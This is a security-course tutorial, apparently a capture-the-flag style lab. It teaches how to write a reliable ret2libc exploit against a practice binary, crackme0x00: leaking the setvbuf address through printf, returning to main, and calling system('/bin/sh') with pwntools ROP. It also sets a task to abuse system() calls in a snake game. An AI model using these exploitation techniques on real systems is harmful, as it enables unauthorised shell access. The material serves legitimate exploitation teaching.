Tut08: Make Reliable Exploit

In this tutorial, we are going to learn 1) how to write more reliable exploit and 2) logical vulnerability.

1. Write reliable exploit

Let's start this tutorial by using our old friend - crackme0x00. You can generate target binary by:

$ cd crackme
$ make

1.1. Leaking address

As you know, this binary contains simple buffer overflow vulnerability. However, your server has ASLR setting enabled and this will change your LIBC address everytime you run the binary.

How about your compile environment? If you compile the binary in different environment (e.g., different compiler), the binary will be changed; then your exploit may no longer work.

Our goal is to write more reliable exploit that doesn't depend on static offset and doesn't require brute-forcing. To achieve that, you should successfully leak the LIBC address first.

Take a look at the disassembled code from start() function:

...
0x08048576 <+25>:  call   0x8048400 <printf@plt>
0x0804857b <+30>:  mov    DWORD PTR [esp+0x8],0x20
0x08048583 <+38>:  mov    DWORD PTR [esp+0x4],0x0
0x0804858b <+46>:  lea    eax,[ebp-0x28]
0x0804858e <+49>:  mov    DWORD PTR [esp],eax
...

How about overwriting buffer and invoke printf() function and argument with __libc_start_main()'s got address'? After you leak the address, you will get the LIBC base address. Sounds like a plan? Your payload will be like this:

[Overwrite Buf] [printf] [ret] [__libc_start_main]

Once you invoke printf() function and leak the address of __libc_start_main, you will go back to ret address that you specified.

Take your time and make your exploit. We recommend you to use template.py script.

Could you successfully leak the address of __libc_start_main()? If you are running the tutorial in the CS6265 remote server, you probably not see anything. Ok! Let's find out the reason.

$ ldd crackme0x00
      linux-gate.so.1 =>  (0xf775d000)
      libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf759b000)
      /lib/ld-linux.so.2 (0x5656d000)

$ readelf -s /lib/i386-linux-gnu/libc.so.6 |grep __libc_start_main
  2262: 00019a00   454 FUNC    GLOBAL DEFAULT   12 __libc_start_main@@GLIBC_2.0

Do you see anything interesting? 0x19a00 is an offset value of the __libc_start_main() function in LIBC library and this address ends with \00. If the address is used for an argument of the printf() function, the function will not print value after the \x00 so you are not able to leak the address.

Instead of using __libc_start_main() for leaking, you can use setvbuf()'s address or other functions if the address is not ended with \00.

$ readelf -s /lib/i386-linux-gnu/libc.so.6 |grep setvbuf
  2008: 00065ec0   405 FUNC    WEAK   DEFAULT   12 setvbuf@@GLIBC_2.0

1.2. Prevent from using fixed address

Now you should make your first exploit looks like this:

[Overwrite Buf] [printf] [ret] [setvbuf]

It means that you should know the address of each functions (e.g., printf) by reading symbol table or by doing debugging. Fortunately, pwntools provides very useful functions to handle this issue.

Open and take a look at the examples from template.py script. You can search symbols, got, or string's address by using pwntools.

  • printf = elf.symbols['printf']
  • leak_add = elf.got['setvbuf']
  • binsh_offset = libc.search('/bin/sh').next()

I think it is good time to make the first half of exploit for leaking the address. You should be able to print out address of setvbuf().

1.3. Going back to the main() again

Recall the first payload:

[Overwrite Buf] [printf] [ret] [setvbuf]

Where do you want to go back after you leak the address of setvbuf()? One good choice would be going back to the main() function. After you go back to main(), you are able to overflow the buffer and feed your exploit.

To do so, your first and second payload should be:

1st: [Overwrite Buf] [printf] [ret] [setvbuf]
2nd: [Overwrite Buf] [system] [exit] [bin_sh]

* pwntools ROP support

You can also automate the ROP programming process. Take a look at the below sample, then you will have a good idea about how to utilize this.

from pwn import *

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = LEAKED_LIBC_BASE_ADDRESS

rop = ROP(libc)
rop.system(next(libc.search('/bin/sh\x00')))
payload = "A" * 44 + str(rop)

If you are ambitious, you can fully automate the entire exploit process by using referenced symbols and ROP functionality.

2. Logical errors

You can play a game and enjoy pwning here. Compile the binary first.

$ cd snake
$ make

Interestingly, the binary invokes system() function when it starts. If you have a good idea, you can spwan a shell or read the flag without exploiting the memory corruption bugs that you learned so far.

$ cat snake.c|grep system

  exit (WEXITSTATUS(system ("stty sane")));
  if (WEXITSTATUS(system ("stty cbreak -echo stop u")))
  return WEXITSTATUS(system ("stty sane"));

[Task] In the second section of this tutorial, your mission is to make the snake binary do unintended behavior. (e.g., cat /proc/flag)